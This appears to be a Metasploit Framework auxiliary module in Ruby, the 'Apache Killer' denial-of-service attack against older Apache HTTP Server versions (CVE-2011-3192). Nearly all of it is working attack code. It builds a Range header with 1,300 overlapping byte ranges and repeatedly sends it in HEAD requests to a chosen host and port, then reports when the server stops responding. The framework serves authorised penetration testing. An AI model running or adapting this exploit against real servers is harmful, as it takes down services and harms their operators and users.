82 lines
2.2 KiB
Ruby
82 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Range header DoS (Apache Killer)',
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'Description' => %q{
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The byterange filter in the Apache HTTP Server 2.0.x through 2.0.64, and 2.2.x
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through 2.2.19 allows remote attackers to cause a denial of service (memory and
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CPU consumption) via a Range header that expresses multiple overlapping ranges,
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exploit called "Apache Killer"
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},
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'Author' =>
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[
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'Kingcope', #original discoverer
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'Masashi Fujiwara' #metasploit module
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '49303'],
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[ 'CVE', '2011-3192'],
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[ 'URL', 'http://www.exploit-db.com/exploits/17696/'],
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[ 'OSVDB', '74721' ],
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],
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'DisclosureDate' => 'Aug 19 2011'))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('URI', [ true, "The request URI", '/']),
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OptInt.new('RLIMIT', [ true, "Number of requests to send", 50])
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], self.class)
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end
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def run
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uri = datastore['URI']
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ranges = ''
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for i in (0..1299) do
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ranges += ",5-" + i.to_s
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end
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for x in 1..datastore['RLIMIT']
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begin
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connect
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print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
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sploit = "HEAD " + uri + " HTTP/1.1\r\n"
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sploit << "Host: " + rhost + "\r\n"
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sploit << "Range: bytes=0-" + ranges + "\r\n"
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sploit << "Accept-Encoding: gzip\r\n"
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sploit << "Connection: close\r\n\r\n"
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sock.put(sploit)
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disconnect
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rescue ::Rex::ConnectionRefused
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print_status("Unable to connect to #{rhost}:#{rport}.")
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rescue ::Errno::ECONNRESET
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print_status("DoS packet successful. #{rhost} not responding.")
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rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
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print_status("Couldn't connect to #{rhost}:#{rport}")
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rescue ::Timeout::Error, ::Errno::EPIPE
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end
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end
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end
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end
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